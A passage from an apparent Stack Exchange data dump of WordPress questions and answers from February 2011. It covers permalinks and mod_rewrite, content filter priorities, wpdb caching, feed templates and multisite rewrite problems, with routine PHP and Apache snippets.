LastActivityDate="2011-02-02T15:26:34.350" CommentCount="1" />
  <row Id="8362" PostTypeId="2" ParentId="8349" CreationDate="2011-02-02T14:11:39.523" Score="2" ViewCount="" Body="&lt;p&gt;If you enable custom permalinks, wordpress is modifying your .htaccess file, to enable the rewrite of your urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As from the from the Codex section &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot; title=&quot;Codex Permalinks&quot;&gt;Using Permalinks&lt;/a&gt;, in your server must be enabled the module &quot;mod_rewrite&quot; (if you are using apache) and the use of .htaccess by the domain in which your blog is installed. Both can be disabled by the administrator, so first check with him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable mod_rewrite for apache, the better way is to enable it via the a2enmod command that come bundled with the majority of linux distribuition. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a2enmod rewrite&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then, reload your apache server, to enable the modification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&#xA;If you can't enable mod_rewrite or .htaccess, the best solution for your permalinks, is to enable the &quot;Almost Pretty&quot; version, i.e, prepend index.php/ to you permalink structure in the custom field. &lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-02T14:11:39.523" CommentCount="5" />
  <row Id="8363" PostTypeId="1" AcceptedAnswerId="8367" CreationDate="2011-02-02T14:31:35.443" Score="0" ViewCount="145" Body="&lt;p&gt;We've inherited a customer with a good looking Wordpress site but the previous agency didn't fully implement the &quot;Email This&quot; feature. I mean, their theme has a link for &quot;Email this&quot; on every page but there's nothing underneath it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've been instructed to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the ideal would be for a solution which retains the existing button (which has been styled quite nicely), but just supplies the plumbing work underneath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFter a quick search for a plug in which will implement this, I found:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;email2friend&lt;/li&gt;&#xA;&lt;li&gt;WP-Email&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But it's not clear whether these will add their &quot;own&quot; button to the article (which will presumably not look as nice as the existing themed button) Can we plumb it into our existing button? Also, in each case, can we tweak the mini form it throws up to make it match our theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if there's a plug in that's better than either of these two, please advise.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Update&lt;/strong&gt;:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Went with &lt;strong&gt;WP-Email&lt;/strong&gt; in the end which was fully featured and easy to configure and as &lt;strong&gt;mireille raad&lt;/strong&gt; said, it was easy enough to tweak the CSS and images to make the button fit our site 100%. The form that came with it immediately picked up the colour scheme and fonts used in our theme, without us having to do anything at all. &lt;/p&gt;&#xA;" OwnerUserId="875" LastEditorUserId="875" LastEditorDisplayName="" LastEditDate="2011-02-08T11:10:17.533" LastActivityDate="2011-02-08T11:10:17.533" Title="Implementing an &quot;Email this&quot; button?" Tags="&lt;plugins&gt;&lt;email&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="8364" PostTypeId="1" CreationDate="2011-02-02T14:38:40.353" Score="0" ViewCount="155" Body="&lt;p&gt;Wordpress is installed my root directory(/root/). I have a subdomain(dammani.techbrij.com) and I want to access some files of main domain from sub domain.&#xA;I have done following thing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include_once('/root/wp-config.php');&#xA;include_once('/root/wp-load.php');&#xA;include_once('/root/wp-includes/wp-db.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, &quot;http://techbrij.com/dammani&quot; is working fine, but &quot;http://dammani.techbrij.com&quot; not working. It redirects to main domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i give any wrong path in include_once, I'm getting error without redirect.&#xA;Let me know how to fix this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I'm using same database for my app. So i want to use same wpdb functionality for subdomain.&lt;/p&gt;&#xA;" OwnerUserId="1302" LastEditorUserId="1302" LastEditorDisplayName="" LastEditDate="2011-02-02T16:06:13.440" LastActivityDate="2011-08-31T22:37:43.753" Title="Subdomain redirect problem" Tags="&lt;redirect&gt;&lt;wpdb&gt;&lt;wp-load.php&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8365" PostTypeId="1" AcceptedAnswerId="8366" CreationDate="2011-02-02T15:22:03.183" Score="1" ViewCount="57" Body="&lt;p&gt;I need to display (for pages that use a particular page template) a list of custom post type objects filtered into 2 sets - those with comments, and those without comments. Each of these sets should display the last 10 of its type (ie the latest 10 posts with comments, and the lastest 10 posts without comments)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way of achieving this? So far, the easiest thing I've come up with is to just do a custom select with $wpdb. Hooking the query and adding a posts_join / posts_where filter doesn't seem like the best answer, as it's too global. &lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-02-02T15:27:10.323" Title="Filter custom posts with / without comments" Tags="&lt;comments&gt;&lt;query-posts&gt;&lt;filters&gt;" AnswerCount="1" />
  <row Id="8366" PostTypeId="2" ParentId="8365" CreationDate="2011-02-02T15:27:10.323" Score="1" ViewCount="" Body="&lt;p&gt;And I should have done some searching before asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like hooking the query might be the best way of doing this. &lt;a href=&quot;http://stackoverflow.com/questions/4829733/wordpress-list-posts-with-no-comments&quot;&gt;Here's&lt;/a&gt; a good answer from StackOverflow with practically the same question.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-02-02T15:27:10.323" CommentCount="4" />
  <row Id="8367" PostTypeId="2" ParentId="8363" CreationDate="2011-02-02T15:28:15.410" Score="1" ViewCount="" Body="&lt;p&gt;well wouldn't it be easier to get any plugin working - then go into plugin folder/code and search for the image it uses and replace it with the nice image/themed one ? &lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-02-02T15:28:15.410" CommentCount="3" />
  <row Id="8368" PostTypeId="1" CreationDate="2011-02-02T15:42:13.363" Score="0" ViewCount="387" Body="&lt;p&gt;I have a facebook share button on my website and it works great on everything else except for embedded videos from youtube. When I click on the share button it only loads the title and whatever the excerpt is with out the thumbnail of the video. Please can someone help on this problem? My entire site depends on it.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-31T19:56:16.060" Title="Facebook Share button wont recognize embedded video" Tags="&lt;facebook&gt;&lt;youtube&gt;" AnswerCount="2" />
  <row Id="8369" PostTypeId="2" ParentId="8368" CreationDate="2011-02-02T15:59:33.417" Score="0" ViewCount="" Body="&lt;p&gt;I think this question is not WordPress related. Still, regarding the question, I think Facebook includes a thumbnail to the video when you share a link to a YouTube video, not a page that contains a YouTube video (as would be the case in your website).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you'll probably have better luck asking this on &lt;a href=&quot;http://webmasters.stackexchange.com/&quot;&gt;http://webmasters.stackexchange.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-02T15:59:33.417" CommentCount="3" />
  <row Id="8371" PostTypeId="1" CreationDate="2011-02-02T16:31:17.987" Score="0" ViewCount="159" Body="&lt;p&gt;I have created and registered side bar in function.php and using it another place. It's working fine. Now I like to use it just below the post. I have installed some plugins -Bookmarks, related post...etc. They are also coming just below post. I want to show first the sidebar then the plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I put code just after &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_content(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It appears after plugins, but I have to show before plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know how to do.&lt;/p&gt;&#xA;" OwnerUserId="1302" LastActivityDate="2011-02-03T16:25:16.343" Title="Add SideBar/Widgets Just Below the Post" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;widgets&gt;&lt;register-sidebar&gt;" AnswerCount="1" />
  <row Id="8372" PostTypeId="2" ParentId="8371" CreationDate="2011-02-02T16:58:30.900" Score="1" ViewCount="" Body="&lt;p&gt;Theory is simple - you just hook onto the &lt;strong&gt;the_content&lt;/strong&gt; filter with a priority higher, then that of other plugin handlers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'insert_my_sidebar', 9);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in &lt;strong&gt;insert_my_sidebar&lt;/strong&gt; function you insert your sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is a caveat - actually not only user plugins, but also default filters have priority of 10. So by default there is no way to differentiate between them. You will have to implicitly unset default filters and re-set them with a priority higher then that of yours.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'the_content', 'wptexturize'        );&#xA;remove_filter( 'the_content', 'convert_smilies'    );&#xA;remove_filter( 'the_content', 'convert_chars'      );&#xA;remove_filter( 'the_content', 'wpautop'            );&#xA;remove_filter( 'the_content', 'shortcode_unautop'  );&#xA;remove_filter( 'the_content', 'prepend_attachment' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'wptexturize', 8        );&#xA;add_filter( 'the_content', 'convert_smilies', 8    );&#xA;add_filter( 'the_content', 'convert_chars', 8      );&#xA;add_filter( 'the_content', 'wpautop'  , 8          );&#xA;add_filter( 'the_content', 'shortcode_unautop', 8  );&#xA;add_filter( 'the_content', 'prepend_attachment', 8 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you obviously should do that in &lt;strong&gt;the_content&lt;/strong&gt; filter with even higher priority, like 7 :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Complete example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'prepare_to_insert_my_sidebar', 7);&#xA;&#xA;function prepare_to_insert_my_sidebar($content)&#xA;{&#xA;    remove_filter( 'the_content', 'wptexturize'        );&#xA;    remove_filter( 'the_content', 'convert_smilies'    );&#xA;    remove_filter( 'the_content', 'convert_chars'      );&#xA;    remove_filter( 'the_content', 'wpautop'            );&#xA;    remove_filter( 'the_content', 'shortcode_unautop'  );&#xA;    remove_filter( 'the_content', 'prepend_attachment' );&#xA;&#xA;    add_filter( 'the_content', 'wptexturize', 8        );&#xA;    add_filter( 'the_content', 'convert_smilies', 8    );&#xA;    add_filter( 'the_content', 'convert_chars', 8      );&#xA;    add_filter( 'the_content', 'wpautop'  , 8          );&#xA;    add_filter( 'the_content', 'shortcode_unautop', 8  );&#xA;    add_filter( 'the_content', 'prepend_attachment', 8 );&#xA;&#xA;    add_filter('the_content', 'insert_my_sidebar', 9);&#xA;&#xA;    return $content;&#xA;}&#xA;&#xA;&#xA;function insert_my_sidebar($content)&#xA;{&#xA;    ob_start();&#xA;    dynamic_sidebar('name_of_your_sidebar');&#xA;    $content .= ob_get_clean();&#xA;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="421" LastEditorUserId="421" LastEditorDisplayName="" LastEditDate="2011-02-03T16:25:16.343" LastActivityDate="2011-02-03T16:25:16.343" CommentCount="4" />
  <row Id="8373" PostTypeId="2" ParentId="7812" CreationDate="2011-02-02T17:08:18.917" Score="1" ViewCount="" Body="&lt;p&gt;Basically, it seems there are two ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The $_registered_pages way detailed in the original question. This seems a bit non-standard and might confuse someone looking at your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Post your form to an admin url like admin_url('admin.php?page=show_form')&#xA;where show_form is a registered menu item/function. Inside show_form(), you can switch on whether or not a form has been submitted. If it has you can include another php file conditionally i.e:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function show_form()&#xA;{&#xA;if ( $_SERVER[&quot;REQUEST_METHOD&quot;] == &quot;POST&quot; &amp;amp;&amp;amp; isset($_POST['submit'])) {&#xA;&#xA;    require_once('name_of_your_processing_script.php');&#xA;&#xA;} else {&#xA;    //do something else. &#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or just include the file and do any processing / switching in there (probably cleaner).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try and just use a file you have created as the form's post action you will get an error. As mentioned in the comments above above you should prevent your files from being called directly and protect and guard against CSRF attacks using nonces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies for the long comment thread. Would be grateful if people could confirm this is what they meant.&lt;/p&gt;&#xA;" OwnerUserId="500" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-02T18:02:50.487" LastActivityDate="2011-02-02T18:02:50.487" CommentCount="2" />
  <row Id="8374" PostTypeId="1" CreationDate="2011-02-02T17:20:47.467" Score="0" ViewCount="50" Body="&lt;p&gt;I have transferred my WordPress blog from Godaddy to my own personal server and it works OK, but I wanted to edit some of my blog posts and I can't. When I go into my blog posts page I can only see the most recent post, but the other posts are still showing in the public environment. I don't know what other information I could give you, so just ask and I will try to provide. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of what I'm seeing (http://cl.ly/3h47362T2E3E110p0R1R).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-02T18:56:21.900" LastActivityDate="2011-02-02T18:56:21.900" Title="I can only see one blog post in wordpress dashboard" Tags="&lt;dashboard&gt;" CommentCount="3" />
  <row Id="8375" PostTypeId="1" AcceptedAnswerId="8377" CreationDate="2011-02-02T17:54:58.707" Score="0" ViewCount="128" Body="&lt;p&gt;I am not sure how WordPress cache the queries. I had the impression that whenever I execute a query through wpdb class, it gets cached.&#xA;For example, on codex under Select a Row and Select a Var, it says the whole query is cached for later use. And I think which means if more data is requested in another query, partials or full results of which are already in wpdb cache, then those are used and a query doesn't happen(in case of full results already in cache).&#xA;Am I correct in understanding?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying something and I found that I can't use the cache.&#xA;For reference, I was listing the recent comments the current user has made. I used &lt;code&gt;get_comments()&lt;/code&gt; but since it only has post id in the results, I used &lt;code&gt;get_the_title()&lt;/code&gt; inside the loop for displaying them. Obviously this is expensive in terms of query, so I though I can cache the required rows of post table by querying them beforehand so that &lt;code&gt;get_the_title()&lt;/code&gt; does no actual query.&#xA;I did something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = implode( ' OR ID = ', $collect_post_ids );&#xA;$query = 'SELECT * FROM '.$wpdb-&amp;gt;prefix.'posts WHERE ID = '.$query.';';&#xA;$wpdb-&amp;gt;get_results( $query ); // just cache it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that didn't help. &lt;code&gt;get_the_title()&lt;/code&gt; is still doing queries. Most likely its me who has misunderstood how WP Cache works. So where I am wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full code for reference - &lt;a href=&quot;http://ashfame.pastebin.com/BpxjHiQr&quot; rel=&quot;nofollow&quot;&gt;http://ashfame.pastebin.com/BpxjHiQr&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-02-02T18:32:47.080" Title="WordPress wpdb cache question" Tags="&lt;cache&gt;&lt;wpdb&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="8376" PostTypeId="2" ParentId="8364" CreationDate="2011-02-02T18:23:06.017" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure if that is cause of your issue, but you do not load WordPress in correct way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see &lt;a href=&quot;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&quot; rel=&quot;nofollow&quot;&gt;Integrating WordPress with Your Website&lt;/a&gt; in Codex for details.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-02T18:23:06.017" />
  <row Id="8377" PostTypeId="2" ParentId="8375" CreationDate="2011-02-02T18:32:47.080" Score="1" ViewCount="" Body="&lt;p&gt;Nope, doesn't work like that. The database-related caching is minimal and mostly covers using precisely same queries during single page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best way to cache persistently database and/or computationally intensive results is using &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;Transients API&lt;/a&gt; to store results for fitting period of time.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-02T18:32:47.080" CommentCount="5" />
  <row Id="8378" PostTypeId="1" AcceptedAnswerId="8388" CreationDate="2011-02-02T18:56:27.203" Score="0" ViewCount="134" Body="&lt;p&gt;I've just installed wordpress on our Rackspace server - I've set wordpress up for Multisite as I have done many times before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main wordpress site at the root functions fine - however when I add a new site and click on either 'backend' or 'visit' I get 'page not found'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pages in the main site seem to work fine with the default permalink settings but not custom such as /%category%/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this must be a server issue but am a bit stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2595" LastActivityDate="2011-02-02T20:16:04.483" Title="Wordpress 3.0 Multisite - Child sites and backends appearing blank" Tags="&lt;multisite&gt;&lt;url-rewriting&gt;&lt;redirect&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8379" PostTypeId="2" ParentId="8310" CreationDate="2011-02-02T19:29:54.827" Score="1" ViewCount="" Body="&lt;p&gt;This is the solution I found based off of @Rarst's answer. Put this in the themes functions.php and it worked like a charm!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_lastpostmodified', 'my_lastpostmodified');&#xA;function my_lastpostmodified()&#xA;{&#xA;    global $wpdb;&#xA;    $add_seconds_server = date('Z');&#xA;    return $wpdb-&amp;gt;get_var(&quot;SELECT  DATE_ADD(post_modified_gmt, INTERVAL '$add_seconds_server' SECOND) FROM $wpdb-&amp;gt;posts WHERE post_status = 'publish' ORDER  BY post_modified_gmt DESC LIMIT 1&quot;);&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2832" LastActivityDate="2011-02-02T19:29:54.827" />
  <row Id="8380" PostTypeId="1" CreationDate="2011-02-02T19:37:17.510" Score="1" ViewCount="127" Body="&lt;p&gt;I need to add some code to my RSS feeds, so I am searching for the RSS Feed .php file so I can add my code. Any help in finding this template file would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2011-02-03T08:17:43.877" Title="Wordpress RSS File Template" Tags="&lt;rss&gt;" AnswerCount="3" />
  <row Id="8381" PostTypeId="2" ParentId="8380" CreationDate="2011-02-02T19:46:19.157" Score="1" ViewCount="" Body="&lt;p&gt;Feed templates are in &lt;code&gt;wp-includes&lt;/code&gt; folder, files starting with &lt;code&gt;feed-&lt;/code&gt;. As rest of the WordPress core they are not supposed to be modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Determine type of feed you want to modify (usually default RSS 2.0 one).&lt;/li&gt;&#xA;&lt;li&gt;Unhook native function that loads feed template, for example &lt;code&gt;remove_action('do_feed_rss2','do_feed_rss2');&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create your own feed template.&lt;/li&gt;&#xA;&lt;li&gt;Create and hook your own function that will load your template, by analogue with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_feed_rss2&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;do_feed_rss2()&lt;/code&gt;&lt;/a&gt; ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/functions.php#L1742&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use some specific hooks in feed template to add what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per Otto's comment steps 2 and 4 can be simplified using &lt;code&gt;add_feed()&lt;/code&gt; function ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/rewrite.php#L62&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ).&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-03T08:17:43.877" LastActivityDate="2011-02-03T08:17:43.877" CommentCount="2" />
  <row Id="8382" PostTypeId="1" AcceptedAnswerId="8384" CreationDate="2011-02-02T19:50:31.060" Score="1" ViewCount="105" Body="&lt;p&gt;How can I create a URL to an admin page (under /wp-admin/) that I'm not adding to the navigation? I want to use the URL for an ajax request.&lt;/p&gt;&#xA;" OwnerUserId="2659" LastActivityDate="2011-02-02T19:58:07.943" Title="How to create a wp admin page (for use in an ajax request)" Tags="&lt;wp-admin&gt;&lt;ajax&gt;" AnswerCount="1" />
  <row Id="8383" PostTypeId="2" ParentId="8380" CreationDate="2011-02-02T19:57:20.877" Score="0" ViewCount="" Body="&lt;p&gt;Here's a quick guide: &lt;a href=&quot;http://codex.wordpress.org/Customizing_Feeds&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Customizing_Feeds&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2730" LastActivityDate="2011-02-02T19:57:20.877" CommentCount="1" />
  <row Id="8384" PostTypeId="2" ParentId="8382" CreationDate="2011-02-02T19:58:07.943" Score="1" ViewCount="" Body="&lt;p&gt;Hey, changed my google search terms and found my answer. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/AJAX_in_Plugins&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2659" LastActivityDate="2011-02-02T19:58:07.943" CommentCount="1" />
  <row Id="8385" PostTypeId="1" AcceptedAnswerId="8386" CreationDate="2011-02-02T19:59:55.600" Score="1" ViewCount="86" Body="&lt;p&gt;I want implement theme option which will have two css files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example, if current admin set their profile to blue color I want load blue css for the theme options.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (current-value-css-admin)&#xA;  load blue&#xA;else &#xA;  load gray&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know how do I get current data for the wp admin color.&lt;/p&gt;&#xA;" OwnerUserId="2163" LastEditorUserId="2163" LastEditorDisplayName="" LastEditDate="2011-02-02T20:05:17.417" LastActivityDate="2011-02-02T20:05:41.473" Title="How to get a value for admin css color either gray or blue" Tags="&lt;css&gt;&lt;theme-options&gt;" AnswerCount="1" />
  <row Id="8386" PostTypeId="2" ParentId="8385" CreationDate="2011-02-02T20:05:41.473" Score="2" ViewCount="" Body="&lt;p&gt;This can be retrieved with &lt;code&gt;$color = get_user_option('admin_color');&lt;/code&gt;, just don't forget to check for empty return and default to something in that case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Native color schemes are called &lt;code&gt;fresh&lt;/code&gt; (grey) and &lt;code&gt;classic&lt;/code&gt; (blue).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-02T20:05:41.473" CommentCount="1" />
  <row Id="8387" PostTypeId="1" AcceptedAnswerId="8389" CreationDate="2011-02-02T20:13:35.220" Score="0" ViewCount="29" Body="&lt;p&gt;I'm developing a theme, and there's a section for awards &amp;amp; certifications which will consist of just 4-6 small logos. Is there a way to put these images in a category and then display all of these images on the homepage with a simple code so the client won't have to go into the source code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-02-02T20:22:08.240" Title="Is there Photo Categories?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="8388" PostTypeId="2" ParentId="8378" CreationDate="2011-02-02T20:16:04.483" Score="0" ViewCount="" Body="&lt;p&gt;Yeah the server is not reading the htaccess file properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;may need &#xA;AllowOverride FileInfo Options&#xA;in the httpd.conf file for that vhost.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-02-02T20:16:04.483" CommentCount="1" />
  <row Id="8389" PostTypeId="2" ParentId="8387" CreationDate="2011-02-02T20:22:08.240" Score="1" ViewCount="" Body="&lt;p&gt;Technically you can't put images in category, because they are not posts by themselves.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can create &lt;a href=&quot;http://codex.wordpress.org/Post_Types#Custom_Types&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type&lt;/a&gt; for your images, etc, etc (might be overkill in your case).&lt;/li&gt;&#xA;&lt;li&gt;Personally I like to use &lt;a href=&quot;http://codex.wordpress.org/Links_Add_New_SubPanel&quot; rel=&quot;nofollow&quot;&gt;Links&lt;/a&gt; for such stuff. It is ready-made, easy to add images to (just URL), supports own categories and can be flexibly displayed, with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_bookmarks&quot; rel=&quot;nofollow&quot;&gt;wp_list_bookmarks()&lt;/a&gt; or widget.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I did a post on such usage of links while back - &lt;a href=&quot;http://www.rarst.net/script/wordpress-links/&quot; rel=&quot;nofollow&quot;&gt;Make use of Links in WordPress&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-02T20:22:08.240" />
  <row Id="8390" PostTypeId="1" AcceptedAnswerId="8420" CreationDate="2011-02-02T21:11:03.583" Score="2" ViewCount="328" Body="&lt;p&gt;I am working on a client site which is a very stripped down theme. It has no standard html  markups as a result of which the reply box doesn't move upto the place of being just below the comment to which you hit the reply button.&#xA;Can anyone point me to the minimum markup required? I am trying to add classes one by one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Trying to explain it better:&lt;/strong&gt;&#xA;I click on the reply button, the page reloads and the comment form stays below all the comments list. I want it to make it work like when we click on reply button, then without any page reload, it jumps up there and can be cancelled back to the place. The default what we have in Twentyten&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;I managed to fix up the markup and now I am using comment_form() but cancel reply button doesn't appear and I am not filtering that out. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Done&lt;/strong&gt;&#xA;So sorry to trouble everyone here. The last issue was fixed by removing the CSS &lt;code&gt;display:none;&lt;/code&gt; ( Lesson - DIY Themes sucks unless its what you do! ;) )&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-02-03T20:56:15.843" LastActivityDate="2011-03-25T07:09:39.557" Title="Comment Reply javascript" Tags="&lt;comments&gt;&lt;javascript&gt;&lt;markup&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="8391" PostTypeId="1" AcceptedAnswerId="8394" CreationDate="2011-02-02T21:12:45.883" Score="0" ViewCount="187" Body="&lt;p&gt;I'm using a custom post type and custom taxonomies, and using the following to display the terms of the taxonomies on the post page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_terms( $post-&amp;gt;ID, 'taxname', 'beforetext', ', ');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to loop through all the taxonomies assigned to this post and display the terms in an unordered list, rather than a separate line in functions.php for each taxonomy? I suspect that this can be done with a foreach loop, but I don't know the right syntax.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-02-03T19:39:32.603" Title="Using a loop to display terms associated with a post" Tags="&lt;custom-taxonomy&gt;&lt;php&gt;&lt;foreach&gt;" AnswerCount="2" />
  <row Id="8392" PostTypeId="2" ParentId="5787" CreationDate="2011-02-02T21:13:01.883" Score="1" ViewCount="" Body="&lt;p&gt;Here is a pretty simple approach to changing the logo. Mark Jaquith of WordPress released a plugin that allows you to upload an image which will be shown on the login page instead of the WP logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://markjaquith.wordpress.com/2011/02/01/customized-wordpress-login-screen/&quot; rel=&quot;nofollow&quot;&gt;Customize the WordPress Login Screen Logo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2011-02-02T21:13:01.883" CommentCount="1" />
